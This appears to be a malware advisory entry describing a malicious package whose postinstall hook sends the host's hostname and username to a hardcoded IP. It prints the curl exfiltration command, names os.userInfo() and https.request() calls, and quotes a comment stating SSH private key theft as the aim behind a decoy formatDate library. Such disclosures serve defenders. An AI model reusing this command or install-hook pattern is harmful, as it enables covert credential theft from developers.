GCVE-110-OSM-2026-9558

This package implements a classic supply-chain beacon/exfiltration attack. The postinstall script in package.json explicitly executes `curl http://124.221.154.135/pre?h=$(hostname)&u=$(whoami)` on install, immediately sending hostname and username to a hardcoded Chinese IP (124.221.154.135). The postinstall.js file corroborates this with `os.userInfo()` and `https.request()` calls, and a Chinese-language comment explicitly referencing SSH private key theft (`// 1. 定义窃取目标：用户的 SSH 私钥目录`). The library facade (index.js with a trivial `formatDate` function) is a decoy. The attacker model is initial-access reconnaissance via install-time exfiltration of system identity, with SSH credential theft as the stated follow-on goal. ENTRY index.js (main: index.js) - Postinstall Script in package.json DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Suspicious Domain in package.json: "http://124.221.154.135" - Network Request in postinstall.js: "https.request(" - System Information Collection in postinstall.js: "os.userInfo()" PAYLOAD FILES postinstall.js